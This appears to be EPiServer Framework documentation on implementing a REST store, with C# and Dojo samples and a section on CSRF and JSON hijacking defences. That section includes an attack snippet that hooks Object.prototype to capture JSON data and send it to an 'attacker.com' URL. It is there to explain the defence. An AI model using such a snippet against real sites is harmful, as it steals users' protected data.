Table of Contents
Introduction
This document describes how to implement the REST data store in EPiServer Framework.
Creating the Handler Class
When creating a new REST store you must implement a handler class inheriting from
RestControllerBase.
This base class extends the ASP.NET MVC controller base class with a custom action
invoker for executing methods depending on the HTTP verb in the request. The post-data
is also automatically de-serialized into the reserved method parameter
entity. You can implement the following basic REST operations:
- GET is executed to retreive items. The item to get is determined by an identifier
path segment of the URL.
- PUT updates an existing item.
- POST creates a new item.
- DELETE deletes an item according to the identifier path segment of the
URL.
Implementing the REST Methods
Implementing the actual REST methods in the handler is as easy as adding a method
named as the http verb it responds to. When defining the method parameters you have
to consider the following reserved parameter names:
- id is the identity of the entity. The identity segment of the
URL will automatically be mapped
to the parameter named ID.
- entity is the posted item data de-serialized into the parameter type.
When you have implemented your store it must be registered using a
RestStore
attribute on the store handler class with the name of the store.
CopyC#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using EPiServer.Shell.Services.Rest;
namespace CodeSamples
{
public class Fruit
{
public int id { get; set; }
public string Name { get; set; }
public int Amount { get; set; }
}
[RestStore("examplestore")]
public class StoreHandlerSample : RestControllerBase
{
private static int _uid = 1;
private static List<Fruit> _items = new List<Fruit>() {
new Fruit() { id=_uid++, Name = "Banana", Amount = 1 },
new Fruit() { id=_uid++, Name = "Orange", Amount = 51 },
new Fruit() { id=_uid++, Name = "Apple", Amount = 12 },
new Fruit() { id=_uid++, Name = "Cherry", Amount = 67 },
new Fruit() { id=_uid++, Name = "Chili", Amount = 100 }
};
public RestResult Get(int? id, ItemRange range)
{
if (id.HasValue)
{
return Rest(new[] { _items.FirstOrDefault(f => f.id == id.Value) });
}
else
{
return Rest(_items.ToArray());
}
}
public RestResult Put(Fruit entity)
{
Fruit fruit = _items.First(f => f.id == entity.id);
fruit.Name = entity.Name;
fruit.Amount = entity.Amount;
return Rest(String.Empty);
}
public RestResult Post(Fruit entity)
{
entity.id = _uid++;
_items.Add(entity);
return Rest(entity.id);
}
public RestResult Delete(int id)
{
Fruit fruit = _items.FirstOrDefault(f => f.id == id);
if (fruit == null)
return Rest(false);
_items.Remove(fruit);
return Rest(true);
}
}
}
In the example above, an _items list containing sample data of the type Fruit is
created and modified using basic REST operations.
Since the store handler is attributed with the RestStore attribute, it will be registered
automatically when the web application starts. This is done in the module initialization,
where all attributed classes inheriting from
RestControllerBase will be registered
with a url according to the store name specified by the attribute and the name of
the contining module according to the URL pattern below:
<basepath>/<module name>/stores/<store name>/<id>
Assuming that the store is created in a module named samples, the URL would become
the following:
mybasepath/samples/stores/myreststore
Fetching Data on the Client Side
To set up the store you can register it in the store registry in a client module initializer:
CopyJavaScript
define([
"dojo",
"dojo/_base/declare",
"epi/_Module",
"epi/dependency",
"epi/routes"
], function (
dojo,
declare,
_Module,
dependency,
routes
) {
return declare("alloy.ModuleInitializer", [_Module], {
initialize: function () {
this.inherited(arguments);
var registry = this.resolveDependency("epi.storeregistry");
registry.create("alloy.examplestore", this._getRestPath("examplestore"));
},
_getRestPath: function (name) {
return routes.getRestPath({ moduleArea: "app", storeName: name });
}
});
});
..and here is an example on how you can get the store and issue a query to it from a widget:
CopyJavaScript
define([
"dojo",
"dojo/_base/declare",
"dijit/_WidgetBase",
"epi/dependency"
], function (
dojo,
declare,
_WidgetBase,
dependency
) {
return declare("app.components.StoreSample", [_WidgetBase], {
store: null,
postMixInProperties: function () {
if (!this.store) {
var registry = dependency.resolve("epi.storeregistry");
this.store = registry.get("alloy.examplestore");
}
this.exampleMethod(123);
},
exampleMethod: function (id) {
dojo.when(this.store.get(id), function(returnValue){
console.dir(returnValue);
}
}
});
});
Security Considerations
The REST implementation currently has two measures for preventing Cross Site Request
Forgery. An attack where a malicious website tricks an authenticated user into
sending a request to a vulnerable site to either modify or steal protected information.
Protecting against Cross Site Request Forgery
For protecting against cross site request forgery protection using the
Synchronizer Token Pattern. This implementation consists of a cookie token containing a random
byte sequence encrypted with a site specific hash. A header field based on the same
token, but with a salt is then added and validated for every post, put and delete
request. The tokens are created as described below:
R = random data
S = Salt
H = Site specific secret
Cookie Token:
R + (R hashed with H)
Posted token:
R + ((R + S) hashed with H)
The only thing exposed to the client is the random data which is re-generated for
each session.
JSON Hijacking
A special form of CSRF attack is JSON Hijacking, where an attacker uses the possibility
of defining custom property setters or custom Array constructors in JavaScript.
The target of this attack form is JSON formatted data returned for GET requests.
The attacker would then define a custom setter for the Object prototype or a custom
Array contructor to intercept the data as the JSON formatted string is parsed into
JavaScript objects. When the target service then is included in the same web page
using a <script> reference, the attacker’s code gets executed.
The following example uses the possibility of defining custom setters for anonymous
JavaScript objects to steal data:
<script>
Object.prototype.__defineSetter__("name", function(data) {
var s = "";
for (f in this) {
s += f + ": '" + this[f] + "', ";
}
s += "date: " + x;
// send information to the attacker’s server
document.images[0].src="http://attacker.com/?data=" + s;
});
<script src="http://my.host.com/jsondata"></script>
To prevent against this type of attack the EPiServer REST implementation prepends
all JSON data with
{} &&
which renders the data invalid as a JavaScript, meaning that it cannot be interpreted
when included in a script element.
This particular attack vector seem to have been removed in recent browser versions.
For more information about prevention of Cross Site Request Forgery attacks, visit
Preventing CSRF Attacks.
Do you find this information helpful? Please log in to provide feedback.